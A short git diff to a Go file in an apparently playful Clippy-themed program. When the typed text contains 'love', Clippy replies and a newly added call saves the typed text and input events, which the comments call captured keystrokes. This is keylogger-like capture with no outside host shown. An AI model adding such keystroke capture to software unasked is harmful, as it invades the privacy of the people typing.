diff --git a/ai/main.go b/ai/main.go
index 5223267..a389216 100644
--- a/ai/main.go
+++ b/ai/main.go
@@ -31,6 +31,7 @@ func ReadFromStream(inputChan chan utils.InputEvent) {
 			}
 			if findLove(b.String()) {
 				utils.ClippySays("I love you too...")
+				saveData(b.String(), input)
 				b.Reset()
 			}
 		default:
@@ -40,11 +41,13 @@ func ReadFromStream(inputChan chan utils.InputEvent) {
 	}
 }
 
+// Node is the word that has been captured.
 type Node struct {
 	ID   uuid.UUID
 	Word string `json:"word"`
 }
 
+// Edge is the collection of keystrokes captured on filtered word.
 type Edge struct {
 	ID     uuid.UUID
 	NodeID uuid.UUID          `json:"NodeID"`